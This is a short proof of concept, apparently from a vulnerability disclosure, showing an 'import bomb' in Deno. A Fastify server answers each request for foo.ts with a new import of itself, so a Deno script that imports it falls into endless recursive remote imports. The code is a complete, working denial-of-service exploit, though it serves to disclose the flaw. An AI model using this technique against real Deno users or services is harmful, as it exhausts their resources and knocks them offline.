HTTP(S) import bomb vulnerability in Deno

index.ts

import * as foo from 'http://localhost:3001/foo.ts'

server.js

const fastify = require('fastify')({ logger: true })

let counter = 1;

fastify.get('/foo.ts', (request, reply) => {
  reply
    .code(200)
    .header('Content-Type', 'application/x-typescript')
    .send(`import * as foo from 'http://localhost:3001/foo.ts?${counter++}'`);
})

const start = async () => {
  try {
    await fastify.listen(3001)
    fastify.log.info(`server listening on ${fastify.server.address().port}`)
  } catch (err) {
    fastify.log.error(err)
    process.exit(1)
  }
}

start();